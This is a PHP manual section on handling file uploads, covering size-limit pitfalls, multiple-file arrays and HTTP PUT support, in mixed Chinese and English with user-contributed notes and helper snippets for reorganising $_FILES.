I noticed that on PHP-4.3.2 that $_FILES can also not be set if the file uploaded exceeds the limits set by upload-max-filesize in the php.ini, rather than setting error $_FILES["file"]["error"]
krissv at ifi.uio.no 27-Jan-2005 04:11
When $_FILES etc is empty like Dub spencer says in the note at the top and the error is not set, that might be because the form enctype isnt sat correctly. then nothing more than maybe a http server error happens.

enctype="multipart/form-data" works fine
Dub Spencer 26-Nov-2004 06:56
Upload doesnt work, and no error?

actually, both $_FILES and $_REQUEST in the posted to script are empty?

just see, if  "post_max_size" is lower than the data you want to load.

in the apache error log, there will be an entry like "Invalid method in request". and in the access log, there will be two requests: one for the POST, and another that starts with all "----" and produces a 501.
tyler at fishmas dot org 03-Nov-2004 07:08
In regards to the dud filename being sent, a very simple way to check for this is to check the file size as well as the file name.  For example, to check the file size simple use the size attribute in your file info array:

<?php
if($_FILES["file_id"]["size"]  == 0)
{
         // ...PROCESS ERROR
}
?>


常见缺陷

对 MAX_FILE_SIZE 设置的值，不能大于 php.ini 文件 设置中 upload_max_filesize 选项设置的值。其默认值为 2M 字节。

如果内存限制设置被激活，可能需要将 memory_limit 设置的更大些，请确认 memory_limit 的设置足够的大。

如果 max_execution_time 设置的值太小，脚本运行的时间可能会超过该设置。因此，也请保证 max_execution_time 足够的大。

Note: max_execution_time 仅仅只影响脚本本身运行的时间。任何其它花费在脚本运行之外的时间，诸如用函数 system() 对系统的调用、sleep() 函数的使用、数据库查询、文件上传等，在计算脚本运行的最大时间时都不包括在内。

Warning

max_input_time 以秒为单位设定了脚本接收输入的最大时间，包括文件上传。对于较大或多个文件，或者用户的网速较慢时，可能会超过默认的 60 秒。

如果 post_max_size 设置的值太小，则较大的文件会无法被上传。因此，请保证 post_max_size 的值足够的大。

The max_file_uploads configuration setting controls the maximum number of files that can uploaded in one request. If more files are uploaded than the limit, then $_FILES will stop processing files once the limit is reached. For example, if max_file_uploads is set to 10, then $_FILES will never contain more than 10 items.

不对正在操作的文件进行验证可能意味着用户能够访问其它目录下的敏感信息。

鉴于文件路径的表示方法有很多种，我们无法确保用使用各种外语的文件名（尤其是包含空格的）能够被正确的处理。

开发人员不应将普通的 input 输入字段和文件上传的字段混用同一个表单变量（例如 input 名都用 foo[]）。

User Contributed Notes

bohwaz 14-Sep-2022 09:06
Please be advised that setting a large post_max_size or upload_max_filesize for a complete server or a complete virtual host is not a good idea as it may lead to increased security risks.

The risk is that an attacker may send very large POST requests and overloading your server memory and CPU as it has to parse and process those requests before handling them to your PHP script.

So it's best to limit changing this setting to some files or directories. For example if I want to /admin/files/ and /admin/images/ I can use:

<If "%{REQUEST_URI} =~ m!^/admin/(files|images)/! && -n %{HTTP_COOKIE}">
    php_value post_max_size 256M
    php_value upload_max_filesize 256M
</If>

I also require the request to have a cookie to avoid basic attacks. This will not protect you against attacks coming from non-authenticated users, but may delay any attack.

This setting can be used in Apache server configuration files, and .htaccess files as well.
adrien.nizon+phpnet at gmail dot com 09-Sep-2016 07:48
[Editor's note: to be more precise, MAX_FILE_SIZE can't exceed PHP_INT_MAX before PHP 7.1.]

Please note that the field MAX_FILE_SIZE cannot exceed 2147483647. Any greater value will lead to an upload error that will be displayed at the end of the upload

This is explained by the related C code :
if (!strcasecmp(param, "MAX_FILE_SIZE")) {
    max_file_size = atol(value);
}

The string is converted into a long int, which max value is... 2147483647

Seems to be corrected since php-7.1.0beta3 (https://github.com/php/php-src/commit/cb4c195f0b85ca5d91fee1ebe90105b8bb68356c)
Nirmal Natarajan 11-Dec-2009 08:23
If using IIS 7.0 or above, the Request Filtering is enabled by default and the max allowed content length is set to 30 MB.

One must change this value if they want to allow file uploads of more than 30 MB.

Sample web.config entry:

<configuration>
    </system.webServer>
        <security>
            <requestFiltering>
                <requestLimits maxAllowedContentLength="314572800"/>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

The above setting will allow 300 MB of data to be sent as a request. Hope this helps someone.
dg at artegic dot de 06-Dec-2009 11:57
In case of non-deterministic occurence of the UPLOAD_ERR_PARTIAL error:  The HTTPD (e.g. Apache) should respond with a 'Accept-Ranges: none' header field.
anders jenbo pc dk 02-Oct-2007 03:22
A responce to admin at creationfarm dot com, Mac OS X and Windows running on a NTFS disk also uses a multi stream file system. Still only the data stream in transfared on http upload. It is preferable to pack Mac OS X files in .dmg files rathere then zip but the avarage user will find zip much easir and they are supported on more platforms.
oliver dot schmidt at drehsinn dot de 09-Dec-2006 10:02
If you want to use open_basedir for securing your server (which is highly recommended!!!) remember to add your tmp dir to the open_basedir value in php.ini.

Example: open_basedir = <your htdocs root, etc...>:/tmp

(Tested on gentoo Linux, Apache 2.2, PHP 5.1.6)
tjaart at siam-data-services dot com 22-May-2005 01:27
Took me a while to figure this one out...

I think this is actually a header problem, but it only
happens when doing a file upload.

If you attept a header("location:http://...) redirect after
processing a $_POST[''] from a form doing a file upload
(i.e. having enctype="multipart/form-data"), the redirect
doesn't work in IE if you don't have a space between
location: & http, i.e.
header("location:http://...)  vs
header("location: http://...)

===================================
<?php
if ($_POST['submit']=='Upload') {
    // Process File and the redirect...
    header("location: http://"..."/somewhere.php");
    exit;
}
?>
<html><head></head><body>
<form enctype="multipart/form-data" action="upload.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="20000">
    Your file: <input name="filename" type="file">
    <input name="submit" type="submit" value="Upload">
</form>
</body></html>
===================================

This only happens if all of the following are true:
header("location:http://...) with no space
Form being processed has enctype="multipart/form-data"
Browser=IE

To fix the problem, simply add the space.

Hope this helps someone else.
amalcon _a_t_ eudoramail _d_o_t_ com 11-Aug-2004 02:35
Note that, when you want to upload VERY large files (or you want to set the limiters VERY high for test purposes), all of the upload file size limiters are stored in signed 32-bit ints.  This means that setting a limit higher than about 2.1 GB will result in PHP seeing a large negative number.  I have not found any way around this.
morganaj at coleggwent dot ac dot uk 21-Oct-2003 09:53
Here is another that may make your upload fall over.  If you are using Squid or similar proxy server make sure that this is not limiting the size of the HTTP headers. This took me weeks to figure out!
tomcashman at unitekgroup dot com 09-Jun-2003 06:59
For apache, also check the LimitRequestBody directive.
If you're running a Red Hat install, this might be set in /etc/httpd/conf.d/php.conf.
By default, mine was set to 512 KB.
sebastian at drozdz dot ch 28-Apr-2003 03:59
It's important that the variable 'open_basedir' in php.ini isn't  set to a directory that doesn't not includes tempupload directory
admin at creationfarm dot com 04-Feb-2003 08:16
The macintosh OS (not sure about OSx) uses a dual forked file system, unlike the rest of the world ;-). Every macintosh file has a data fork and a resource fork. When a dual forked file hits a single forked file system, something has to go, and it is the resource fork. This was recognized as a problem (bad idea to begin with) and apple started recomending that developers avoid sticking vital file info in the resource fork portion of a file, but some files are still very sensitive to this. The main ones to watch out for are macintosh font files and executables, once the resource fork is gone from a mac font or an executable it is useless. To protect the files they should be stuffed or zipped prior to upload to protect the resource fork.

Most mac ftp clients (like fetch) allow files to be uploaded in Macbinhex, which will also protect the resource fork when transfering files via ftp. I have not seen this equivilent in any mac browser (but I haven't done too much digging either).

FYI, apple does have an old utility called ResEdit that lets you manipulate the resource fork portion of a file.


上传多个文件

可以对 input 域使用不同的 name 来上传多个文件。

PHP 支持同时上传多个文件并将它们的信息自动以数组的形式组织。要完成这项功能，需要在 HTML 表单中对文件上传域使用和多选框与复选框相同的数组式提交语法。

Example #1 上传多个文件

<form action="file-upload.php" method="post" enctype="multipart/form-data">
  Send these files:<br />
  <input name="userfile[]" type="file" /><br />
  <input name="userfile[]" type="file" /><br />
  <input type="submit" value="Send files" />
</form>

当以上表单被提交后，数组 $_FILES['userfile']，$_FILES['userfile']['name'] 和 $_FILES['userfile']['size'] 将被初始化。

例如，假设名为 /home/test/review.html 和 /home/test/xwp.out 的文件被提交，则 $_FILES['userfile']['name'][0] 的值将是 review.html，而 $_FILES['userfile']['name'][1] 的值将是 xwp.out。类似的，$_FILES['userfile']['size'][0] 将包含文件 review.html 的大小，依此类推。

此外也同时设置了 $_FILES['userfile']['name'][0]， $_FILES['userfile']['tmp_name'][0]， $_FILES['userfile']['size'][0] 以及 $_FILES['userfile']['type'][0]。

Warning

The max_file_uploads configuration setting acts as a limit on the number of files that can be uploaded in one request. You will need to ensure that your form does not try to upload more files in one request than this limit.

User Contributed Notes

steam dot bakyt2 at gmail dot com 07-Nov-2023 08:29
Just combine temporary path with the filename which will result an array like:

array(2) {
  ["/tmp/phpAYCvcc"]=> string(10) "file1.jpg"
  ["/tmp/phpCDg79o"]=> string(10) "file2.jpg"
}

The code:

$files = array_combine(
     $_FILES['receipt']['tmp_name'],
     $_FILES['receipt']['name']
);

foreach ($files as $key => $value) {
    // save your files locally
}
simbiat at outlook dot com 16-Feb-2021 12:12
While code from phpuser.at.gmail.dot.com is good and i.g.e.o@ya.(dot).ru is even better, there is no end to perfection. We can live without temporary variables
<?php
foreach ($_FILES as $field=>$files) {
    #Check if multiple files were uploaded to a field and process the values accordingly
    if (is_array($files['name'])) {
        foreach ($files['name'] as $key=>$file) {
            $_FILES[$field][$key]['name'] = $file;
            $_FILES[$field][$key]['type'] = $files['type'][$key];
            $_FILES[$field][$key]['size'] = $files['size'][$key];
            $_FILES[$field][$key]['tmp_name'] = $files['tmp_name'][$key];
            $_FILES[$field][$key]['error'] = $files['error'][$key];
        }
    } else {
        $_FILES[$field][0]['name'] = $files['name'];
        $_FILES[$field][0]['type'] = $files['type'];
        $_FILES[$field][0]['size'] = $files['size'];
        $_FILES[$field][0]['tmp_name'] = $files['tmp_name'];
        $_FILES[$field][0]['error'] = $files['error'];
    }
    unset($_FILES[$field]['name'], $_FILES[$field]['type'], $_FILES[$field]['size'], $_FILES[$field]['tmp_name'], $_FILES[$field]['error']);
}
?>
sabryabdelmohsen at gmail dot com 08-Sep-2020 05:48
function reArrayImages($file_post) {
    $file_ary = [];
    $file_keys = array_keys($file_post);
    foreach ($file_post as $key => $value) {
      foreach ($value as $key2 => $value2) {
        $file_ary[$key2][$key] = $value2;
      }
    }
    return $file_ary;
}
i.g.e.o@ya (dot) ru 22-May-2020 05:10
A bit update to 14 year ago note from "phpuser at gmail dot com".
That update converts to a really more friendly array form incoming _POST info for uploaded files.
And that variants works identical for non-multiple uploads and multiple uploads:
<?php
//Функция переформатирует массив поданных POST'ом файлов
function reArrayFiles(&$file_post){
    $isMulti    = is_array($file_post['name']);
    $file_count    = $isMulti?count($file_post['name']):1;
    $file_keys    = array_keys($file_post);

    $file_ary    = [];    //Итоговый массив
    for($i=0; $i<$file_count; $i++)
        foreach($file_keys as $key)
            if($isMulti)
                $file_ary[$i][$key] = $file_post[$key][$i];
            else
                $file_ary[$i][$key]    = $file_post[$key];

    return $file_ary;
}
?>
jefrey no spam please at jefrey dot ml 19-Jul-2016 02:39
Once I had to do a maintenance in a huge ERP that had several multiple upload inputs inside an array. Just like this:

<form method="post" enctype="multipart/form-data">
<input type="file" multiple name="upload[avatar]" />
<input type="file" multiple name="upload[attachment]" />
<input type="file" multiple name="upload2[avatar]" />
<input type="file" multiple name="upload2[attachment]" />
<input type="submit" />
</form>

The $_FILES array is created like this:

Array
(
    [upload] => Array
        (
            [name] => Array
                (
                    [avatar] => teste.c
                    [attachment] => teste
                )

            [type] => Array
                (
                    [avatar] => text/x-csrc
                    [attachment] => application/octet-stream
                )

            [tmp_name] => Array
                (
                    [avatar] => /opt/lampp/temp/phpuf3KNj
                    [attachment] => /opt/lampp/temp/php0yPZap
                )

            [error] => Array
                (
                    [avatar] => 0
                    [attachment] => 0
                )

            [size] => Array
                (
                    [avatar] => 1960
                    [attachment] => 8661
                )

        )

    [upload2] => Array
        (
            [name] => Array
                (
                    [avatar] => jefrey.html
                    [attachment] => notas.txt
                )

            [type] => Array
                (
                    [avatar] => text/html
                    [attachment] => text/plain
                )

            [tmp_name] => Array
                (
                    [avatar] => /opt/lampp/temp/php87nfyu
                    [attachment] => /opt/lampp/temp/phpUBlvVz
                )

            [error] => Array
                (
                    [avatar] => 0
                    [attachment] => 0
                )

            [size] => Array
                (
                    [avatar] => 583
                    [attachment] => 191
                )

        )

)

I've managed to re-arrange this array like this:

Array
(
    [upload] => Array
        (
            [avatar] => Array
                (
                    [name] => teste.c
                    [type] => text/x-csrc
                    [tmp_name] => /opt/lampp/temp/phpuf3KNj
                    [error] => 0
                    [size] => 1960
                )

            [attachment] => Array
                (
                    [name] => teste
                    [type] => application/octet-stream
                    [tmp_name] => /opt/lampp/temp/php0yPZap
                    [error] => 0
                    [size] => 8661
                )

        )

    [upload2] => Array
        (
            [avatar] => Array
                (
                    [name] => jefrey.html
                    [type] => text/html
                    [tmp_name] => /opt/lampp/temp/php87nfyu
                    [error] => 0
                    [size] => 583
                )

            [attachment] => Array
                (
                    [name] => notas.txt
                    [type] => text/plain
                    [tmp_name] => /opt/lampp/temp/phpUBlvVz
                    [error] => 0
                    [size] => 191
                )

        )

)

Here's my snippet:
<?php
function reArrayFilesMultiple(&$files) {
    $uploads = array();
    foreach($_FILES as $key0=>$FILES) {
        foreach($FILES as $key=>$value) {
            foreach($value as $key2=>$value2) {
                $uploads[$key0][$key2][$key] = $value2;
            }
        }
    }
    $files = $uploads;
    return $uploads; // prevent misuse issue
}
?>
lookphp at gmail dot com 10-Apr-2016 05:50
This is a very simple example:

Part I : HTML

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <form action="upload.php" method="post" multipart="" enctype="multipart/form-data">
        <input type="file" name="img[]" multiple>
        <input type="submit">
    </form>
</body>
</html>

Part II : PHP

<?php
echo '<pre>';
$img = $_FILES['img'];

if(!empty($img))
{
    $img_desc = reArrayFiles($img);
    print_r($img_desc);

    foreach($img_desc as $val)
    {
        $newname = date('YmdHis',time()).mt_rand().'.jpg';
        move_uploaded_file($val['tmp_name'],'./uploads/'.$newname);
    }
}

function reArrayFiles($file)
{
    $file_ary = array();
    $file_count = count($file['name']);
    $file_key = array_keys($file);

    for($i=0;$i<$file_count;$i++)
    {
        foreach($file_key as $val)
        {
            $file_ary[$i][$val] = $file[$val][$i];
        }
    }
    return $file_ary;
}
Eric 28-Nov-2015 11:17
This is just a modification of the code which is the top note by "phpuser" here. His/her version requires that the $file_post array passed in to the function was created by a form submitted with the multiple attribute set. With multiple set in the html input tag, $_FILES["fileInputName"]["name"] is an array no matter if only one file is sent or multiple. But when <input type="file"> is used without the multiple attribute then $_FILES["fileInputName"]["name"] is not an array, it contains the the string with the filename. To use this neat function with or without multiple set and to get back an array which you can "foreach" over in either case, use this modification:

function reArrayFiles(&$file_post)
{
    $file_ary = array();
    $multiple = is_array($file_post['name']);

    $file_count = $multiple ? count($file_post['name']) : 1;
    $file_keys = array_keys($file_post);

    for ($i=0; $i<$file_count; $i++)
    {
        foreach ($file_keys as $key)
        {
            $file_ary[$i][$key] = $multiple ? $file_post[$key][$i] : $file_post[$key];
        }
    }

    return $file_ary;
}
Roman 29-Oct-2015 12:56
function reorganize($files) {
    foreach ($files as $var => $params) {
        foreach ($params as $name => $i) {
            foreach ($i as $num => $val) {
                $images[$var][$name] = $val;
                $arr[$num] = $images;
            }
        }
    }
    return $arr;
}

Array (
     [0] => Array (
         [image] => Array (
             [name] => white-rabbit-med-crop.jpg
             [type] => image/jpeg
             [tmp_name] => E:\xampp\tmp\phpC008.tmp
             [error] => 0
             [size] => 343326 )
        )
    [1] => Array (
         [image] => Array (
             [name] => white-rabbit-med-crop.jpg
             [type] => image/jpeg
             [tmp_name] => E:\xampp\tmp\phpC008.tmp
             [error] => 0
             [size] => 1429802 )
        )
)
swayalex at gmail dot com 21-Oct-2015 02:20
Recursive solution for complex situations (supports any nested arrays including indexed arrays)

function getFixedFilesArray() {
    $walker = function ($arr, $fileInfokey, callable $walker) {
        $ret = array();
        foreach ($arr as $k => $v) {
            if (is_array($v)) {
                $ret[$k] = $walker($v, $fileInfokey, $walker);
            } else {
                $ret[$k][$fileInfokey] = $v;
            }
        }
        return $ret;
    };

    $files = array();
    foreach ($_FILES as $name => $values) {
        // init for array_merge
        if (!isset($files[$name])) {
            $files[$name] = array();
        }
        if (!is_array($values['error'])) {
            // normal syntax
            $files[$name] = $values;
        } else {
            // html array feature
            foreach ($values as $fileInfoKey => $subArray) {
                $files[$name] = array_replace_recursive($files[$name], $walker($subArray, $fileInfoKey, $walker));
            }
        }
    }

    return $files;
}
Pako 25-Aug-2015 01:30
If you want to upload multiple file at once, remember "multiple" attribute:

<input type="file" multiple="multiple" name="file[]" enctype="multipart/form-data"/>
javad dot geek at gmail dot com 07-Feb-2014 02:14
$countarray = count($_FILES['uploadfile']['name']);
                $newarray = array();
                for($i=0;$i<$countarray;$i++){
                    $newarray[$i]['name']=$_FILES['uploadfile']['name'][$i];
                    $newarray[$i]['type']=$_FILES['uploadfile']['type'][$i];
                    $newarray[$i]['tmp_name']=$_FILES['uploadfile']['tmp_name'][$i];
                    $newarray[$i]['error']=$_FILES['uploadfile']['error'][$i];
                    $newarray[$i]['size']=$_FILES['uploadfile']['size'][$i];
                }
wizzard351 at yahoo dot com 27-Jan-2014 06:12
This is also needed for <input type=file multiple> elements.

So, if you have an input element like this:
<input type="file" multiple="multiple" name="foobar" />
This should be written as
<input type="file" multiple="multiple" name="foobar[]" />
else you'll only be able to get one of the files.
ohcnim at hotmail dot com 16-Aug-2013 11:18
by simply naming differently each file input you'll get easily accesible arrays from $_FILES, in the form $_FILES['input_name']['file_attribute'].  For example:

$_FILES['input_name1']['name']...['input_name1']['size']
$_FILES['input_name2']['name']...['input_name2']['size']
$_FILES['input_nameX']['name']...['input_nameX']['size']
timspeelman at live dot nl 18-Nov-2011 03:48
The cleanest way to rearrange the $_FILES

<?php
function rearrange( $arr ){
    foreach( $arr as $key => $all ){
        foreach( $all as $i => $val ){
            $new[$i][$key] = $val;
        }
    }
    return $new;
}
?>
contato at dgmike dot com dot br 19-Jul-2011 11:33
I prefer something like this!

<?php
public function arrayImages ( &$file_post )
{
    if( empty( $file_post ) ) {
        return $file_post;
    }
    if( 'array'!==gettype($file_post['name']) ) {
        return $file_post;
    }
    $keys = array_keys($file_post['name']);
    $file_array = array();
    foreach ($keys as $key) {
       foreach ($file_post as $res=>$item) {
           $file_array[$key][$res] = $item[$key];
       }
   }
   return $file_array;
}
?>
Corey Ballou 25-Mar-2010 01:10
Here is a function to fix the indices of a multi-dimensional for easier parsing when dealing with file uploads.  It takes a single $_FILES field array as a parameter and separates each individual uploaded file by numeric key.  This allows for iterating like:

<?php
fixFilesArray($_FILES['array_of_files']);
foreach ($_FILES['array_of_files'] as $position => $file) {
    // should output array with indices name, type, tmp_name, error, size
    var_dump($file);
}
?>

Here's the code:

<?php
/**
 * Fixes the odd indexing of multiple file uploads from the format:
 *
 * $_FILES['field']['key']['index']
 *
 * To the more standard and appropriate:
 *
 * $_FILES['field']['index']['key']
 *
 * @param array $files
 * @author Corey Ballou
 * @link http://www.jqueryin.com
 */
function fixFilesArray(&$files)
{
    $names = array( 'name' => 1, 'type' => 1, 'tmp_name' => 1, 'error' => 1, 'size' => 1);

    foreach ($files as $key => $part) {
        // only deal with valid keys and multiple files
        $key = (string) $key;
        if (isset($names[$key]) && is_array($part)) {
            foreach ($part as $position => $value) {
                $files[$position][$key] = $value;
            }
            // remove old key reference
            unset($files[$key]);
        }
    }
}
?>
jess at semlabs dot co dot uk 03-Mar-2009 12:32
If you try and upload files with multi-dimensional names like this:

<input type="file" name="submission[screenshot]" />
<input type="file" name="other[dem][][img][]" />

You will get an unexpected format like this:

<?php
array(
    'submission' => array
        (
            'name' => array( 'screenshot' => 'monster_wallpaper.jpg' ),
            'type' => array( 'screenshot' => 'image/jpeg' ),
            'tmp_name' => array( 'screenshot' => '/tmp/php48lX2Y' ),
            'error' => array( 'screenshot' => 0 ),
            'size' => array( 'screenshot' => 223262 ),
        ),
....
?>

You can use the following function to re-format the array recursively in the usual format:

<?php
function format_files_array( $files, $name = null, &$new = false, $path = false ){
    $names = array( 'name' => 'name', 'type' => 'type', 'tmp_name' => 'tmp_name', 'error' => 'error', 'size' => 'size' );

    foreach( $files as $key => &$part )
    {
        $key = ( string ) $key;
        if( in_array( $key, $names ) )
            $name = $key;
        if( !in_array( $key, $names ) )
            $path[] = $key;
        if( is_array( $part ) )
            $part = format_files_array( $part, $name, $new, $path );
        elseif( !is_array( $part ) )
        {
            $current =& $new;
            foreach( $path as $p )
                $current =& $current[$p];
            $current[$name] = $part;
            unset( $path );
            $name = null;
        }
    }

    return $new;
}
?>
hotmail.com[at]notdefix 27-Sep-2007 07:47
With multiple file uploads

post_max_size: the total amount of data posted by the client (all files, and all other form field)

upload_max_filesize: the maximum size of 1 single file. (just like <input type="hidden" name="MAX_FILE_SIZE" value="..."/>)

so, with the directives:
 post_max_size 25M
 upload_max_filesize 2M

you can send 12 files of up to 2 MB and use up to 1 MB for your additional form-values.

As long as you read only a single copy of 1 file into memory, the memory_limit directive can be held reasonable small as well.
phpuser at gmail dot com 26-May-2005 08:09
When uploading multiple files, the $_FILES variable is created in the form:

Array
(
    [name] => Array
        (
            [0] => foo.txt
            [1] => bar.txt
        )

    [type] => Array
        (
            [0] => text/plain
            [1] => text/plain
        )

    [tmp_name] => Array
        (
            [0] => /tmp/phpYzdqkD
            [1] => /tmp/phpeEwEWG
        )

    [error] => Array
        (
            [0] => 0
            [1] => 0
        )

    [size] => Array
        (
            [0] => 123
            [1] => 456
        )
)

I found it made for a little cleaner code if I had the uploaded files array in the form

Array
(
    [0] => Array
        (
            [name] => foo.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpYzdqkD
            [error] => 0
            [size] => 123
        )

    [1] => Array
        (
            [name] => bar.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpeEwEWG
            [error] => 0
            [size] => 456
        )
)

I wrote a quick function that would convert the $_FILES array to the cleaner (IMHO) array.

<?php

function reArrayFiles(&$file_post) {

    $file_ary = array();
    $file_count = count($file_post['name']);
    $file_keys = array_keys($file_post);

    for ($i=0; $i<$file_count; $i++) {
        foreach ($file_keys as $key) {
            $file_ary[$i][$key] = $file_post[$key][$i];
        }
    }

    return $file_ary;
}

?>

Now I can do the following:

<?php

if ($_FILES['upload']) {
    $file_ary = reArrayFiles($_FILES['ufile']);

    foreach ($file_ary as $file) {
        print 'File Name: ' . $file['name'];
        print 'File Type: ' . $file['type'];
        print 'File Size: ' . $file['size'];
    }
}

?>


对 PUT 方法的支持

PHP 对部分客户端具备的 HTTP PUT 方法提供了支持。PUT 请求比文件上传要简单的多，它们一般的形式为：

PUT /path/filename.html HTTP/1.1

这通常意味着远程客户端会将其中的 /path/filename.html 存储到 web 目录树。让 Apache 或者 PHP 自动允许所有人覆盖 web 目录树下的任何文件显然是很不明智的。因此，要处理类似的请求，必须先告诉 web 服务器需要用特定的 PHP 脚本来处理该请求。在 Apache 下，可以用 Script 选项来设置。它可以被放置到 Apache 配置文件中几乎所有的位置。通常我们把它放置在 <Directory> 区域或者 <VirtualHost> 区域。可以用如下一行来完成该设置：

Script PUT /put.php

这将告诉 Apache 将所有对 URI 的 PUT 请求全部发送到 put.php 脚本，这些 URI 必须和 PUT 命令中的内容相匹配。当然，这是建立在 PHP 支持 .php 扩展名，并且 PHP 已经在运行的假设之上。 The destination resource for all PUT requests to this script has to be the script itself, not a filename the uploaded file should have.

With PHP you would then do something like the following in your put.php. This would copy the contents of the uploaded file to the file myputfile.ext on the server. You would probably want to perform some checks and/or authenticate the user before performing this file copy.

Example #1 保存 HTTP PUT 文件

<?php
/* PUT data comes in on the stdin stream */
$putdata = fopen("php://input", "r");

/* Open a file for writing */
$fp = fopen("myputfile.ext", "w");

/* Read the data 1 KB at a time
and write to the file */
while ($data = fread($putdata, 1024))
fwrite($fp, $data);

/* Close the streams */
fclose($fp);
fclose($putdata);
?>

User Contributed Notes

arnaud at caramia dot Fr 08-Jun-2023 06:27
We resolved our problem with https://pecl.php.net/package/apfd.

It parses multipart/form-data body (files and payload) with PUT and PATCH http requests, witch was only possible before with POST http request.
polygon dot co dot in at gmail dot com 23-Apr-2023 09:11
I was confused with file uploads using the PUT method.
My concern was why can't we upload multiple files using the PUT method with streams
PUT data comes in on the stdin stream
$putdata = fopen("php://input", "r");
Note the $putdata is a file pointer to the file content that is being uploaded.
The data is received on the server on the fly (which means available as it is received)

Secondly, when we are using parse_str(file_get_contents("php://input")).
This means the data is completely received on the server end and is then made available to the script.

When using fopen() one cant parse the data. This can be used when uploading a large file.
The file may range from 100's of MBs to Gigs where streams plays a major role.

Streams make the file data available to script in chunks instead of first saving in the temp folder.
Hence, when using $putdata = fopen("php://input", "r"); one can't pass the payload as well.
If someone wants to pass the payload the only option is in the URL query string.
Oscar Fernandez Sierra 14-Dec-2021 09:27
This is what worked for me. There are many examples in the web that don't work. I found in https://lornajane.net/posts/2009/putting-data-fields-with-php-curl.

IMPORTANT: You should not use the code

       curl_setopt($ch, CURLOPT_PUT, true);

even if it seems to be the right option (it would be the right option for a POST request, with CURLOPT_POST, but it does not work for a PUT request).

Notice that the constant CURLOPT_CUSTOMREQUEST is used instead of CURLOPT_PUT, and that the value used is "PUT" instead of true.

<?php

        $url = "....."; // put your URL here

        $data = array("a" => $a);

        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));

        $response = curl_exec($ch);
        if ( ! $response) {
            return false;
        }
willy at kochkonsult dot no 25-Nov-2021 01:35
All the example code I found for using PUT with PHP always used a default hard-coded file extension for the incoming stream.

The filename from the incoming file PUT request can't be found anywhere from the incoming request (at least I couldn't find it) but mimetype can be found in the $_SERVER global variable.

I used this code to get the correct file extension:

$mimeType = $_SERVER['HTTP_CONTENT_TYPE'];

if ($mimeType!='application/pdf')
    {
    header('HTTP/1.1 405 Only PDF files allowed');
    echo("Only PDF files are allowed for upload - this file is ".$mimeType);
    die();
    }
else $fileExtension = 'pdf';

If you have an Apache Tika server available, that would be the best option to analyze the file content to get the mimetype, but that might not be in scope for everyone :-)
San 19-Mar-2014 09:33
Instead of using fread fwrite to save uploaded content to a file.
stream_copy_to_stream is much cleaner.
micronix at gmx dot net 10-Sep-2010 07:43
Hello PHP World After many Hours of worryness :=)

I have found the Solution for Resume or Pause Uploads
In this Code Snippet it is the Server Side not Client on any Desktop Programm you must use byte ranges to calculate the uploaded bytes and missing of total bytes.

Here the PHP Code

<?php
$CHUNK = 8192;

        try {
            if (!($putData = fopen("php://input", "r")))
                throw new Exception("Can't get PUT data.");

            // now the params can be used like any other variable
            // see below after input has finished

            $tot_write = 0;
            $tmpFileName = "/var/dev/tmp/PUT_FILE";
            // Create a temp file
            if (!is_file($tmpFileName)) {
                fclose(fopen($tmpFileName, "x")); //create the file and close it
                // Open the file for writing
                if (!($fp = fopen($tmpFileName, "w")))
                    throw new Exception("Can't write to tmp file");

                // Read the data a chunk at a time and write to the file
                while ($data = fread($putData, $CHUNK)) {
                    $chunk_read = strlen($data);
                    if (($block_write = fwrite($fp, $data)) != $chunk_read)
                        throw new Exception("Can't write more to tmp file");

                    $tot_write += $block_write;
                }

                if (!fclose($fp))
                    throw new Exception("Can't close tmp file");

                unset($putData);
            } else {
                // Open the file for writing
                if (!($fp = fopen($tmpFileName, "a")))
                    throw new Exception("Can't write to tmp file");

                // Read the data a chunk at a time and write to the file
                while ($data = fread($putData, $CHUNK)) {
                    $chunk_read = strlen($data);
                    if (($block_write = fwrite($fp, $data)) != $chunk_read)
                        throw new Exception("Can't write more to tmp file");

                    $tot_write += $block_write;
                }

                if (!fclose($fp))
                    throw new Exception("Can't close tmp file");

                unset($putData);
            }

            // Check file length and MD5
            if ($tot_write != $file_size)
                throw new Exception("Wrong file size");

            $md5_arr = explode(' ', exec("md5sum $tmpFileName"));
            $md5 = $md5sum_arr[0];
            if ($md5 != $md5sum)
                throw new Exception("Wrong md5");
        } catch (Exception $e) {
            echo '', $e->getMessage(), "\n";
        }
?>
yaogzhan at gmail dot com 14-Dec-2005 04:01
PUT raw data comes in php://input, and you have to use fopen() and fread() to get the content. file_get_contents() is useless.

The HTTP PUT request MUST contain a Content-Length header to specify the length (in bytes) of the body, or the server will not be able to know when the input stream is over. This is the common problem for many to find the php://input empty if no such header available.

This should make PUT work properly on win32 using PHP5.1.1 and apache2.
warhog at warhog dot net 20-Sep-2005 01:22
NOTE: The <Script>-Directive can not be placed in .htaccess files.

So if you're having shared webspace and no access to the apache-configuration file you will have little chance to make something like this work.

But you can solve the problem, using mod_rewrite (for Apache) - for further information see the documentation at http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html
gherson 15-Aug-2005 02:16
A Case Study:  To set up publishing with Netscape 7.2 Composer to Apache/PHP, no need to use CGI (which I tried unsuccessfully for too long) or to alter Apache's httpd.conf.  I needed only to click Publish As, fill in put2disk.php as the filename (where its contents are the below), and fill in that file's dir as the "Publishing address".
XAMPP 1.4.14: Apache/2.0.54 (Win32) mod_ssl/2.0.54 OpenSSL/0.9.7g PHP/5.0.4.

<? // filename: put2disk.php.

//file_put_contents ("get_def.out", print_r (get_defined_vars(), TRUE)); // debugging

// Two slurp methods: (a) didn't work, (b) did.
//$stdin_rsc = fopen("php://input", "r");
//$putdata='';
//while ($putdata .= fread($stdin_rsc, 1024)); // a. Hangs the "Publishing..." dialog.
//while (!feof($stdin_rsc)) $putdata.=fread($stdin_rsc, 8192); // b. Worked, but file_get_contents is faster.
//fclose($stdin_rsc);

// All that's nec:
$putdata=file_get_contents('php://input'); // Not php://stdin! (When the ability to see error messages isn't available, the doc (this manual page) needs to be more accurate.)

file_put_contents("stdin.out",$putdata);
?>
mikeb at mikebanahan dot com 03-Nov-2003 02:41
